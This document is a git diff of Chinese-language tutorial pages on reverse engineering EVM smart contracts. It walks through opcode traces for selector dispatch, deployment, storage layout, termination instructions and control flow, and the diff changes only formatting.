    -   function test2() external {      }  
    +   function test2() external {      }  
     
    -   function test3() external {      }  
    +   function test3() external {      }  
     }
     

    bytecode

    -
    0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c80630a8e8e0114604157806366e41cb7146049578063f8a8fd6d146051575b600080fd5b60476059565b005b604f605b565b005b6057605d565b005b565b565b56fea2646970667358221220d28f98515dc0855e1c6f5aa3747ff775f1b8ab6545f14c70641ff9af67c2465164736f6c63430008070033
    +
    0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c80630a8e8e0114604157806366e41cb7146049578063f8a8fd6d146051575b600080fd5b60476059565b005b604f605b565b005b6057605d565b005b565b565b56fea2646970667358221220d28f98515dc0855e1c6f5aa3747ff775f1b8ab6545f14c70641ff9af67c2465164736f6c63430008070033
     

    执行test函数

    在真正执行test之前,有很多前置操作

    检查msg.value

    -
    005 CALLVALUE load msg.value
    -006 DUP1      duplicate msg.value
    -007 ISZERO    verify if msg.value is equal to 0
    -008 PUSH1 0f  push 0f in the Stack (the byte location after the REVERT byte location)
    -010 JUMPI     jump to this location if msg.value is not equal to 0
    -011 PUSH1 00  push 00 in the Stack
    -013 DUP1      duplicate 00 in the Stack
    -014 REVERT    revert the execution 
    -
    -In solidity, this is equivalent to:
    -if (msg.value > 0) { 
    +
    005 CALLVALUE load msg.value
    +006 DUP1      duplicate msg.value
    +007 ISZERO    verify if msg.value is equal to 0
    +008 PUSH1 0f  push 0f in the Stack (the byte location after the REVERT byte location)
    +010 JUMPI     jump to this location if msg.value is not equal to 0
    +011 PUSH1 00  push 00 in the Stack
    +013 DUP1      duplicate 00 in the Stack
    +014 REVERT    revert the execution 
    +
    +In solidity, this is equivalent to:
    +if (msg.value > 0) { 
        revert(); 
    -} else {
    -   // Jump to byte 15
    +} else {
    +   // Jump to byte 15
     }
     

    检查CALLDATASIZE

    我们调用的是test,没有参数,因此calldata就是test的signatrue,具体为4字节的数据:

    -
    015 JUMPDEST     | 0x00 |
    -016 POP          ||
    -017 PUSH1 04     | 0x04 |
    -019 CALLDATASIZE | msg.data.size | 0x04 |
    -020 LT           | msg.data.size > 0x04 |
    -021 PUSH1 3c    | 0x3c | msg.data.size > 0x04 |
    -023 JUMPI        || (JUMPI takes 2 arguments)
    -060 JUMPDEST     ||
    -061 PUSH1 00     |0x00|
    -063 DUP1         |0x00|0x00|
    -064 REVERT       ||
    -
    -if (msg.data.size < 4) { revert(); }
    +
    015 JUMPDEST     | 0x00 |
    +016 POP          ||
    +017 PUSH1 04     | 0x04 |
    +019 CALLDATASIZE | msg.data.size | 0x04 |
    +020 LT           | msg.data.size > 0x04 |
    +021 PUSH1 3c    | 0x3c | msg.data.size > 0x04 |
    +023 JUMPI        || (JUMPI takes 2 arguments)
    +060 JUMPDEST     ||
    +061 PUSH1 00     |0x00|
    +063 DUP1         |0x00|0x00|
    +064 REVERT       ||
    +
    +if (msg.data.size < 4) { revert(); }
     

    检查SELECTOR

    上面已经确定selector的size,接下来要寻找目标函数,包括calldataload获取数据,偏移量去除填充的0字节,对比等,其中三个函数的selector分别为:

    @@ -3076,36 +3072,36 @@

    检查SELECTOR

  • 0x0a8e8e01:test2
  • 0x66e41cb7:test3
  • -
    024 PUSH1 00 |0x00| (the stack was previously empty in byte 23)
    -026 CALLDATALOAD |0xf8a8fd6d0000000.60zeros.000000000|
    -027 PUSH1 e0 |0xe0|0xf8a8fd6d0000000.60zeros.000000000|
    -029 SHR |0xf8a8fd6d|
    -030 DUP1 |0xf8a8fd6d|0xf8a8fd6d|
    -031 PUSH4 0a8e8e01 |0x0a8e8e01|0xf8a8fd6d|0xf8a8fd6d|  《=== 通过对比calldata,发现不是test2
    -036 EQ |0x0|0xf8a8fd6d|0xf8a8fd6d| 
    -037 PUSH1 41 |0x41|0x1|0xf8a8fd6d|
    -039 JUMPI |0xf8a8fd6d|
    -040 DUP1 |0xf8a8fd6d|0xf8a8fd6d|
    -041 PUSH4 66e41cb7 ||0xf8a8fd6d|0xf8a8fd6d| 《=== 通过对比calldata,发现不是test3
    -046 EQ |0x0|0xf8a8fd6d|
    -047 PUSH1 49 |0x49|0x1|0xf8a8fd6d|
    -049 JUMPI |0xf8a8fd6d|
    -050 DUP1 |0xf8a8fd6d|0xf8a8fd6d|
    -051 PUSH4 f8a8fd6d |0xf8a8fd6d|0xf8a8fd6d|0xf8a8fd6d| 《=== 通过对比calldata,发现确实是test,找到了!!
    -056 EQ |0x1|0xf8a8fd6d|
    -057 PUSH1 51 |0x51|0x1|0xf8a8fd6d|
    -059 JUMPI |0xf8a8fd6d|
    +
    024 PUSH1 00 |0x00| (the stack was previously empty in byte 23)
    +026 CALLDATALOAD |0xf8a8fd6d0000000.60zeros.000000000|
    +027 PUSH1 e0 |0xe0|0xf8a8fd6d0000000.60zeros.000000000|
    +029 SHR |0xf8a8fd6d|
    +030 DUP1 |0xf8a8fd6d|0xf8a8fd6d|
    +031 PUSH4 0a8e8e01 |0x0a8e8e01|0xf8a8fd6d|0xf8a8fd6d|  《=== 通过对比calldata,发现不是test2
    +036 EQ |0x0|0xf8a8fd6d|0xf8a8fd6d| 
    +037 PUSH1 41 |0x41|0x1|0xf8a8fd6d|
    +039 JUMPI |0xf8a8fd6d|
    +040 DUP1 |0xf8a8fd6d|0xf8a8fd6d|
    +041 PUSH4 66e41cb7 ||0xf8a8fd6d|0xf8a8fd6d| 《=== 通过对比calldata,发现不是test3
    +046 EQ |0x0|0xf8a8fd6d|
    +047 PUSH1 49 |0x49|0x1|0xf8a8fd6d|
    +049 JUMPI |0xf8a8fd6d|
    +050 DUP1 |0xf8a8fd6d|0xf8a8fd6d|
    +051 PUSH4 f8a8fd6d |0xf8a8fd6d|0xf8a8fd6d|0xf8a8fd6d| 《=== 通过对比calldata,发现确实是test,找到了!!
    +056 EQ |0x1|0xf8a8fd6d|
    +057 PUSH1 51 |0x51|0x1|0xf8a8fd6d|
    +059 JUMPI |0xf8a8fd6d|
     

    最终反编译

    -
    mstore(0x40,0x80)                              
    -if (msg.value > 0) { revert(); }                              
    -if (msg.data.size < 4) { revert(); }                              
    -byte4 selector = msg.data[0x00:0x04]                                
    -switch (selector) {                               
    -   case 0x0a8e8e01:   // JUMP to 41 (65 in dec)   stop()
    -   case 0x66e41cb7:   // JUMP to 49 (73 in dec)   stop()
    -   case 0xf8a8fd6d:   // JUMP to 51 (85 in dec)   stop()
    -   default: revert();
    +
    mstore(0x40,0x80)                              
    +if (msg.value > 0) { revert(); }                              
    +if (msg.data.size < 4) { revert(); }                              
    +byte4 selector = msg.data[0x00:0x04]                                
    +switch (selector) {                               
    +   case 0x0a8e8e01:   // JUMP to 41 (65 in dec)   stop()
    +   case 0x66e41cb7:   // JUMP to 49 (73 in dec)   stop()
    +   case 0xf8a8fd6d:   // JUMP to 51 (85 in dec)   stop()
    +   default: revert();
     stop()
     
    @@ -3135,7 +3131,7 @@

    最终反编译

    @@ -3221,14 +3217,6 @@

    最终反编译

    - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/02_\345\220\210\347\272\246\351\203\250\347\275\262\351\203\275\345\201\232\344\272\206\345\225\245.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/02_\345\220\210\347\272\246\351\203\250\347\275\262\351\203\275\345\201\232\344\272\206\345\225\245.html" index 384ed599..811ec702 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/02_\345\220\210\347\272\246\351\203\250\347\275\262\351\203\275\345\201\232\344\272\206\345\225\245.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/02_\345\220\210\347\272\246\351\203\250\347\275\262\351\203\275\345\201\232\344\272\206\345\225\245.html" @@ -36,10 +36,6 @@ - - - - @@ -3020,11 +3016,11 @@

    第2节:合约部署

    Reversing and debugging EVM Smart contracts: Deployment of a smart contract-part2

    无payable

    -
    pragma solidity ^0.8.0;  
    +
    pragma solidity ^0.8.0;  
     contract Test {      
         uint balance;      
    -    constructor() {         
    -        balance = 9;     
    +    constructor() {         
    +        balance = 9;     
         } 
     }
     
    @@ -3038,11 +3034,11 @@

    无payable

    涉及到构造函数的部分,主要是使用了SSTORE,将balance = 9存储到storage中,然后退出

    中间比较含糊的是memory的地址问题,需要进一步理解(先忽略)

    有payable

    -
    pragma solidity ^0.8.0;  
    +
    pragma solidity ^0.8.0;  
     contract Test {      
         uint balance;      
    -    constructor() payable {         
    -        balance = 9;     
    +    constructor() payable {         
    +        balance = 9;     
         } 
     }
     
    @@ -3051,11 +3047,11 @@

    有payable

  • 所以加上payable后opcode对size变小了,部署需要的gas也变少了
  • 增加参数

    -
    pragma solidity ^0.8.0;  
    +
    pragma solidity ^0.8.0;  
         contract Test {       
             uint balance;      
    -        constructor(uint a,uint b) payable { 
    -            balance = 9;     
    +        constructor(uint a,uint b) payable { 
    +            balance = 9;     
         } 
     }
     
    @@ -3104,7 +3100,7 @@

    Tips

    @@ -3190,14 +3186,6 @@

    Tips

    - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/03_\345\220\204\347\247\215\347\261\273\345\236\213\346\230\257\345\246\202\344\275\225\345\255\230\345\202\250\347\232\204.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/03_\345\220\204\347\247\215\347\261\273\345\236\213\346\230\257\345\246\202\344\275\225\345\255\230\345\202\250\347\232\204.html" index 305d49d0..6f03e5e2 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/03_\345\220\204\347\247\215\347\261\273\345\236\213\346\230\257\345\246\202\344\275\225\345\255\230\345\202\250\347\232\204.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/03_\345\220\204\347\247\215\347\261\273\345\236\213\346\230\257\345\246\202\344\275\225\345\255\230\345\202\250\347\232\204.html" @@ -36,10 +36,6 @@ - - - - @@ -3021,17 +3017,17 @@

    第3节:各种类型是如

    Reversing and debugging EVM Smart contracts: How the storage layout works?-part3

    小的type会节约slot,但是会增加OPCODE步骤(增加mask步骤),所以不能滥用小byte,否则会适得其反。

    1. Simple example

    -
    // SPDX-License-Identifier: MIT 
    -pragma solidity ^0.8.0;  
    +
    // SPDX-License-Identifier: MIT 
    +pragma solidity ^0.8.0;  
     contract Test {     
         uint balance;     
         uint balance2;     
         uint balance3;   
     
    -    function modify() external {         
    -        balance = 1;         
    -        balance2 = 2;         
    -        balance3 = 3;     
    +    function modify() external {         
    +        balance = 1;         
    +        balance2 = 2;         
    +        balance3 = 3;     
         } 
     }
     
    @@ -3041,20 +3037,20 @@

    1. Simple example

  • 所以最终存储事实为:Slot0: 1、Slot1: 2、Slot2: 3,天经地义!
  • 2. using uint8 instead of uint256

    -
    // SPDX-License-Identifier: MIT 
    -pragma solidity ^0.8.0;  
    +
    // SPDX-License-Identifier: MIT 
    +pragma solidity ^0.8.0;  
     contract Test {     
         uint8 balance;     
         uint8 balance2;
         uint8 balance3; 
     
    -    function modify() external {
    -         balance = 1; 
    -         balance2 = 2; 
    -         balance3 = 3;    
    +    function modify() external {
    +         balance = 1; 
    +         balance2 = 2; 
    +         balance3 = 3;    
         } 
    -    function modify2() external {   
    -         balance2 = 5; 
    +    function modify2() external {   
    +         balance2 = 5; 
         } 
     }
     
    @@ -3063,16 +3059,16 @@

    2. using uint8 instead of uint256

  • 所以最终存储为:使用一个slot0:030201
  • 3. Using different types of data

    -
    // SPDX-License-Identifier: MIT 
    -pragma solidity ^0.8.0;  
    +
    // SPDX-License-Identifier: MIT 
    +pragma solidity ^0.8.0;  
     contract Test {     
         uint8 balance;     
         bytes4 data;     
         address addr;      
    -    function modify() external {         
    -        balance = 17;        
    -        data = 0xaaaaaaaa;       
    -        addr = 0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3;     
    +    function modify() external {         
    +        balance = 17;        
    +        data = 0xaaaaaaaa;       
    +        addr = 0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3;     
         } 
     }
     
    @@ -3082,16 +3078,16 @@

    3. Using different types of data

  • 拆分为:0x358aa13c52544eccef6b0add0f801012adad5ee3, data = 0xaaaaaaaa, balance = 0x11
  • 4. Does the placement of variables count ?

    -
    // SPDX-License-Identifier: MIT 
    -pragma solidity ^0.8.0;  
    +
    // SPDX-License-Identifier: MIT 
    +pragma solidity ^0.8.0;  
     contract Test {     
         uint8 balance;
         address addr;
    -    bytes4 data;      // 这里的顺序变了
    -    function modify() external {      
    -        balance = 17;    
    -        data = 0xaaaaaaaa;     
    -        addr = 0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3;   
    +    bytes4 data;      // 这里的顺序变了
    +    function modify() external {      
    +        balance = 17;    
    +        data = 0xaaaaaaaa;     
    +        addr = 0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3;   
        } 
     }
     
    @@ -3099,8 +3095,8 @@

    4. Does the placement of varia
  • 也是存储在一个slot0中,但是顺序有变化:aaaaaaaa358aa13c52544eccef6b0add0f801012adad5ee311
  • 5. How are stored structs ?

    -
    // SPDX-License-Identifier: MIT 
    -pragma solidity ^0.8.0;  
    +
    // SPDX-License-Identifier: MIT 
    +pragma solidity ^0.8.0;  
     contract Test {     
         struct Values {  
             uint8 balance;   
    @@ -3108,52 +3104,52 @@ 

    5. How are stored structs ?

    bytes4 data; } Values value; - function modify() external { - value.balance = 17; - value.addr = 0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3; - value.data = 0xaaaaaaaa; + function modify() external { + value.balance = 17; + value.addr = 0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3; + value.data = 0xaaaaaaaa; } } -Here is the full disassembly of the function -045 JUMPDEST -046 PUSH1 00 |0x00| -048 DUP1 |0x00|0x00| -049 SLOAD |0x00|0x00| -050 PUSH1 01 |0x01|0x00|0x00| -052 PUSH1 01 |0x01|0x01|0x00|0x00| -054 PUSH1 c8 |0xc8|0x01|0x01|0x00|0x00| -056 SHL |0x00.50zeros.0100...00|0x01|0x00|0x00| -057 SUB |0x00.15zeros0tttffff.49f.fffff|0x00|0x00| -058 NOT |0xfffffffffffffff00..49zeros..00|0x00|0x00| -059 AND |0x00|0x00| -060 PUSH25 aaaaaaaa358aa13c52544eccef6b0add0f801012adad5ee311 |0x00...00358aa13...|0x00|0x00| -086 OR |0x00...00358aa13...|0x00| -087 SWAP1 |0x00|0x00...00358aa13...| -088 SSTORE || -089 STOP || -
    +Here is the full disassembly of the function +045 JUMPDEST +046 PUSH1 00 |0x00| +048 DUP1 |0x00|0x00| +049 SLOAD |0x00|0x00| +050 PUSH1 01 |0x01|0x00|0x00| +052 PUSH1 01 |0x01|0x01|0x00|0x00| +054 PUSH1 c8 |0xc8|0x01|0x01|0x00|0x00| +056 SHL |0x00.50zeros.0100...00|0x01|0x00|0x00| +057 SUB |0x00.15zeros0tttffff.49f.fffff|0x00|0x00| +058 NOT |0xfffffffffffffff00..49zeros..00|0x00|0x00| +059 AND |0x00|0x00| +060 PUSH25 aaaaaaaa358aa13c52544eccef6b0add0f801012adad5ee311 |0x00...00358aa13...|0x00|0x00| +086 OR |0x00...00358aa13...|0x00| +087 SWAP1 |0x00|0x00...00358aa13...| +088 SSTORE || +089 STOP || +
    • 与普通的layout没有任何区别

    6. What about arrays ?

    -
    // SPDX-License-Identifier: MIT 
    -pragma solidity ^0.8.0;  
    +
    // SPDX-License-Identifier: MIT 
    +pragma solidity ^0.8.0;  
     contract Test1 { 
         uint[] values;
    -    // uint value2 in comment 
    -    function modify() external {   
    -        values.push(7);   
    -        values.push(8);  
    +    // uint value2 in comment 
    +    function modify() external {   
    +        values.push(7);   
    +        values.push(8);  
         } 
     }
     
     contract Test2 { 
    -        uint value2 in comment 
    +        uint value2 in comment 
         uint[] values;
     
    -    function modify() external {   
    -        values.push(7);   
    -        values.push(8);  
    +    function modify() external {   
    +        values.push(7);   
    +        values.push(8);  
         } 
     }
     
    @@ -3164,13 +3160,13 @@

    6. What about arrays ?

    image-20221101145037962

    7. How are stored mapping ?

    -
    // SPDX-License-Identifier: MIT 
    -pragma solidity ^0.8.0;  
    +
    // SPDX-License-Identifier: MIT 
    +pragma solidity ^0.8.0;  
     contract Test {     
    -    mapping(address => uint) balances;      
    -    function modify() external {                  
    -      balances[0xbc5D291D2165f130375B94c62211f594dB48fEF2] = 15;             
    -      balances[0x9a8af21Ac492D5055eA7e1e49bD91BC9b5549334] = 55; 
    +    mapping(address => uint) balances;      
    +    function modify() external {                  
    +      balances[0xbc5D291D2165f130375B94c62211f594dB48fEF2] = 15;             
    +      balances[0x9a8af21Ac492D5055eA7e1e49bD91BC9b5549334] = 55; 
         } 
     }
     
    @@ -3212,7 +3208,7 @@

    8. conclusion

    @@ -3298,14 +3294,6 @@

    8. conclusion

    - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/04_\344\272\224\347\247\215\347\250\213\345\272\217\347\273\210\346\255\242\345\221\275\344\273\244\344\273\213\347\273\215.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/04_\344\272\224\347\247\215\347\250\213\345\272\217\347\273\210\346\255\242\345\221\275\344\273\244\344\273\213\347\273\215.html" index 64d382ba..1dffdcdb 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/04_\344\272\224\347\247\215\347\250\213\345\272\217\347\273\210\346\255\242\345\221\275\344\273\244\344\273\213\347\273\215.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/04_\344\272\224\347\247\215\347\250\213\345\272\217\347\273\210\346\255\242\345\221\275\344\273\244\344\273\213\347\273\215.html" @@ -36,10 +36,6 @@ - - - - @@ -3021,58 +3017,58 @@

    第4节:五种程序终止

    Reversing and Debugging EVM Smart contracts: 5 Instructions to end/abort the Execution

    1. Stop

    消耗0gas,不返回任何数据。

    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
    -    function test() external {
    +    function test() external {
     
         }
     }
     

    得到汇编如下:

    -
    045 JUMPDEST |function signature discarded|
    -046 PUSH1 33 |0x33|
    -048 PUSH1 35 |0x35|0x33|
    -050 JUMP     |0x33|
    -053 JUMPDEST |0x33|
    -054 JUMP     ||
    -051 JUMPDEST ||
    -052 STOP     ||
    -053 JUMPDEST
    -054 JUMP
    -
    +
    045 JUMPDEST |function signature discarded|
    +046 PUSH1 33 |0x33|
    +048 PUSH1 35 |0x35|0x33|
    +050 JUMP     |0x33|
    +053 JUMPDEST |0x33|
    +054 JUMP     ||
    +051 JUMPDEST ||
    +052 STOP     ||
    +053 JUMPDEST
    +054 JUMP
    +
    • 注意:50 byte时,跳转到0x35(53 byte)位置,54byte时,进一步跳转到0x33处(51 byte)位置,最后STOP退出,此时内存中数据为空,栈中只有signature,所以返回数据为空。
    • 消耗gas为0

    2. Return

    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
    -    function test() external returns(uint) {
    -        return(8);
    +    function test() external returns(uint) {
    +        return(8);
         }
     }
     

    得到汇编如下:(打开优化开关,run 1)

    -
    045 JUMPDEST ||
    -046 PUSH1 08 |0x08|  the return value of test()
    -048 PUSH1 40 |0x40|0x08|
    -050 MLOAD    |0x80|0x08|  mload(0x40) mloads the free memory pointer(内存中的值不会被清除或覆盖)
    -051 SWAP1    |0x08|0x80|
    -052 DUP2     |0x80|0x08|0x80|(DUP2的意思是,复制栈上第2个元素,即下标为1的元素)
    -053 MSTORE   |0x80|       mstore(0x80,0x08) store the return value in memory[0x80],把08放到0x80中
    -054 PUSH1 20 |0x20|0x80|
    -056 ADD      |0xa0|
    -057 PUSH1 40 |0x40|0xa0|
    -059 MLOAD    |0x80|0xa0|  从0x40中将0x80压入栈中
    -060 DUP1     |0x80|0x80|0xa0|
    -061 SWAP2    |0xa0|0x80|0x80|
    -062 SUB      |0x20|0x80|
    -063 SWAP1    |0x80|0x20|
    -064 RETURN   ||
    +
    045 JUMPDEST ||
    +046 PUSH1 08 |0x08|  the return value of test()
    +048 PUSH1 40 |0x40|0x08|
    +050 MLOAD    |0x80|0x08|  mload(0x40) mloads the free memory pointer(内存中的值不会被清除或覆盖)
    +051 SWAP1    |0x08|0x80|
    +052 DUP2     |0x80|0x08|0x80|(DUP2的意思是,复制栈上第2个元素,即下标为1的元素)
    +053 MSTORE   |0x80|       mstore(0x80,0x08) store the return value in memory[0x80],把08放到0x80中
    +054 PUSH1 20 |0x20|0x80|
    +056 ADD      |0xa0|
    +057 PUSH1 40 |0x40|0xa0|
    +059 MLOAD    |0x80|0xa0|  从0x40中将0x80压入栈中
    +060 DUP1     |0x80|0x80|0xa0|
    +061 SWAP2    |0xa0|0x80|0x80|
    +062 SUB      |0x20|0x80|
    +063 SWAP1    |0x80|0x20|
    +064 RETURN   ||
     
    • 消耗gas为0
    • @@ -3080,11 +3076,11 @@

      2. Return

    • 如上分析,最终内存0x80中会存放08数值。

    3. Revert

    -
    pragma solidity ^0.8.0;
    +
    pragma solidity ^0.8.0;
     
     contract Test {
    -    function test() external returns(uint) {
    -        revert("eight");
    +    function test() external returns(uint) {
    +        revert("eight");
         }
     }
     
    @@ -3094,7 +3090,7 @@

    3. Revert

    072 MLOAD |0x80| 073 PUSH3 461bcd |0x461bcd|0x80| 077 PUSH1 e5 |0xe5|0x461bcd|0x80| -079 SHL |0x08c379a000...000|0x80| binary shift 197 times (e5 in hex), YES a binary shift can modify hex numbers... +079 SHL |0x08c379a000...000|0x80| binary shift 197 times (e5 in hex), YES a binary shift can modify hex numbers... 080 DUP2 |0x80|0x08c379a000...000|0x80| 081 MSTORE |0x80| 082 PUSH1 20 |0x20|0x80| @@ -3148,12 +3144,12 @@

    4. Invalid

    The compiler appends by default the IPFS hash of the metadata file to the end of the bytecode (for details, see below) of each contract, so that you can retrieve the file in an authenticated way without having to resort to a centralized data provider. The other available options are the Swarm hash and not appending the metadata hash to the bytecode. These can be configured via the Standard JSON Interface.

    5. SelfDestruct

    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
    -    function test() external {
    -        selfdestruct(payable(0x0000000000000000000000000000000000000000));
    +    function test() external {
    +        selfdestruct(payable(0x0000000000000000000000000000000000000000));
         }
     }
     
    @@ -3202,7 +3198,7 @@

    6. Conclusion

    @@ -3288,14 +3284,6 @@

    6. Conclusion

    - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/05_function\346\211\247\350\241\214\346\265\201\347\250\213.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/05_function\346\211\247\350\241\214\346\265\201\347\250\213.html" index cf2fb4d3..2624a00c 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/05_function\346\211\247\350\241\214\346\265\201\347\250\213.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/05_function\346\211\247\350\241\214\346\265\201\347\250\213.html" @@ -36,10 +36,6 @@ - - - - @@ -3025,167 +3021,171 @@

    版本

  • Optimizer:true,Runs:1
  • 1. IF/ELSE

    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
    -    uint value = 0;
    -    function flow(bool x) external {
    -        if (x) {
    -            value = 4;
    -        } else {
    -            value = 9;
    +    uint value = 0;
    +    function flow(bool x) external {
    +        if (x) {
    +            value = 4;
    +        } else {
    +            value = 9;
             }
         }
     }
     

    汇编:(medium原文描述应关闭优化,与汇编数据不符,实际上应该选择 runs:1)

    -
    062 JUMPDEST |0x01|stack after arguments discarded|
    -063 DUP1     |0x01|0x01|
    -064 ISZERO   |0x00|0x01|
    -065 PUSH1 4b |0x4b|0x00|0x01|
    -067 JUMPI    |0x01|
    -068 PUSH1 04 |0x04|0x01|
    -070 PUSH1 00 |0x00|0x04|0x01|
    -072 SSTORE   |0x01|
    -073 POP      
    -074 JUMP 
    -075 JUMPDEST 
    -076 PUSH1 09 
    -078 PUSH1 00 
    -080 SSTORE 
    -081 POP 
    -082 JUMP
    +
    062 JUMPDEST |0x01|stack after arguments discarded|
    +063 DUP1     |0x01|0x01|
    +064 ISZERO   |0x00|0x01|
    +065 PUSH1 4b |0x4b|0x00|0x01|
    +067 JUMPI    |0x01|
    +068 PUSH1 04 |0x04|0x01|
    +070 PUSH1 00 |0x00|0x04|0x01|
    +072 SSTORE   |0x01|
    +073 POP      
    +074 JUMP 
    +075 JUMPDEST 
    +076 PUSH1 09 
    +078 PUSH1 00 
    +080 SSTORE 
    +081 POP 
    +082 JUMP
     
    • 只要有JUMPI,那么就一定有if或for。

    2. ELSE IF

    
    -// SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +// SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
    -    uint value = 0;
    -    function flow(uint x) external {
    -        if (x == 1) {
    -            value = 4;
    -        } else if (x == 2) {
    -            value = 9;
    -        } else if (x == 3) {
    -            value = 14;
    -        } else if (x == 4) {
    -            value = 19;
    -        } else {
    -            value = 24;
    +    uint value = 0;
    +    function flow(uint x) external {
    +        if (x == 1) {
    +            value = 4;
    +        } else if (x == 2) {
    +            value = 9;
    +        } else if (x == 3) {
    +            value = 14;
    +        } else if (x == 4) {
    +            value = 19;
    +        } else {
    +            value = 24;
             }
         }
     }
     

    汇编:

    -
    062 JUMPDEST 
    -063 DUP1 
    -064 PUSH1 01 
    -066 EQ 
    -067 ISZERO 
    -068 PUSH1 4e 
    -070 JUMPI 
    -071 PUSH1 04 
    -073 PUSH1 00 
    -075 SSTORE 
    -076 POP 
    -077 JUMP 
    -078 JUMPDEST 
    -079 DUP1 
    -080 PUSH1 02 
    -082 EQ 
    -083 ISZERO 
    -084 PUSH1 5e 
    -086 JUMPI 
    -087 PUSH1 09 
    -089 PUSH1 00 
    -091 SSTORE 
    -092 POP 
    -093 JUMP 
    -094 JUMPDEST 
    -095 DUP1 
    -096 PUSH1 03 
    -098 EQ 
    -099 ISZERO 
    -100 PUSH1 6e 
    -102 JUMPI 
    -103 PUSH1 0e 
    -105 PUSH1 00 
    -107 SSTORE 
    -108 POP 
    -109 JUMP 
    -110 JUMPDEST 
    -111 DUP1 
    -112 PUSH1 04 
    -114 EQ 
    -115 ISZERO 
    -116 PUSH1 7e 
    -118 JUMPI 
    -119 PUSH1 13 
    -121 PUSH1 00 
    -123 SSTORE 
    -124 POP 
    -125 JUMP 
    -126 JUMPDEST 
    -127 PUSH1 18 
    -129 PUSH1 00 
    -131 SSTORE 
    -132 POP 
    -133 JUMP
    +
    062 JUMPDEST 
    +063 DUP1 
    +064 PUSH1 01 
    +066 EQ 
    +067 ISZERO 
    +068 PUSH1 4e 
    +070 JUMPI 
    +071 PUSH1 04 
    +073 PUSH1 00 
    +075 SSTORE 
    +076 POP 
    +077 JUMP 
    +078 JUMPDEST 
    +079 DUP1 
    +080 PUSH1 02 
    +082 EQ 
    +083 ISZERO 
    +084 PUSH1 5e 
    +086 JUMPI 
    +087 PUSH1 09 
    +089 PUSH1 00 
    +091 SSTORE 
    +092 POP 
    +093 JUMP 
    +094 JUMPDEST 
    +095 DUP1 
    +096 PUSH1 03 
    +098 EQ 
    +099 ISZERO 
    +100 PUSH1 6e 
    +102 JUMPI 
    +103 PUSH1 0e 
    +105 PUSH1 00 
    +107 SSTORE 
    +108 POP 
    +109 JUMP 
    +110 JUMPDEST 
    +111 DUP1 
    +112 PUSH1 04 
    +114 EQ 
    +115 ISZERO 
    +116 PUSH1 7e 
    +118 JUMPI 
    +119 PUSH1 13 
    +121 PUSH1 00 
    +123 SSTORE 
    +124 POP 
    +125 JUMP 
    +126 JUMPDEST 
    +127 PUSH1 18 
    +129 PUSH1 00 
    +131 SSTORE 
    +132 POP 
    +133 JUMP
     

    汇编很长,但是逻辑并不复杂,只是在不断的判断和跳转,有点像我们之前需要函数的selector,按照汇编的逻辑反推,我们可以得到下面的逻辑代码,不断的进行嵌套、判断:

    -
    if (x == 1) {
    -    // do something
    -} else {
    -    if (x == 2) {
    -        // do something
    -    } else {
    -        if (x == 3) {
    -            // do something
    -        } else {
    -            if (x == 4) {
    -                // do something
    -            } else {
    -                // do something
    +
    if (x == 1) {
    +    // do something
    +} else {
    +    if (x == 2) {
    +        // do something
    +    } else {
    +        if (x == 3) {
    +            // do something
    +        } else {
    +            if (x == 4) {
    +                // do something
    +            } else {
    +                // do something
                 }    
             }
         }
     }
     

    3. For Loops

    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
    -    uint value = 0;
    -    function flow(uint x) external {
    -        for (uint i = 0; i < x; i++) {
    +    uint value = 0;
    +    function flow(uint x) external {
    +        for (uint i = 0; i < x; i++) {
                 value += i;
             }
         }
     }
     

    我们执行完一个函数,然后点击debug,此时一般都会停在一个JUMPDEST的OPCODE上,因为里就是函数执行的入口,此时stack V中已经压入了函数参数,例如这里:

    -
    # 汇编如下:
    +
    # 汇编如下:
     062 JUMPDEST
    -063 PUSH1 00  # for里面的变量,i = 0
    +063 PUSH1 00  # for里面的变量,i = 0
     065 JUMPDEST
     066 DUP2
     067 DUP2
    -068 LT # for里面的小于号, <
    +068 LT # for里面的小于号, <
     069 ISZERO
     070 PUSH1 6c
    -072 JUMPI # 当条件不满足时,跳出循环♻️
    +072 JUMPI # 当条件不满足时,跳出循环♻️
     
     
